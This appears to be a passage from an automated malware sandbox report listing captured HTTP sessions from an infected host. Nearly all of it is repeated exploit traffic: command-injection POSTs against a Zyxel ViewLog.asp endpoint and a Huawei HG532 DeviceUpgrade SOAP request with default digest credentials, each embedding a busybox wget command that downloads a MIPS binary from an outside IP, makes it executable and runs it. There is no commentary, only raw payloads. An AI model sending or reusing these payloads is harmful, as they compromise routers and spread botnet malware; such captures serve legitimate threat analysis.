                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                875192.168.2.155717095.158.179.668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.195848942 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                876192.168.2.1546586156.254.86.12037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.200252056 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:03.832000017 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:05.751934052 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:09.751876116 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                877192.168.2.153871494.121.144.1688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.204612017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                878192.168.2.155830485.221.238.2348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.406507969 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.630376101 CET75INHTTP/1.1
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                879192.168.2.154749062.29.75.1478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.431952953 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                880192.168.2.153392095.86.100.1678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.433866024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                881192.168.2.154655894.217.142.178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.631206036 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                882192.168.2.153762494.121.118.588080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.647363901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                883192.168.2.153287685.11.101.28080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.702186108 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.911936045 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                884192.168.2.155604431.136.244.148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.760231972 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.320038080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.439980984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.679917097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.287786961 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
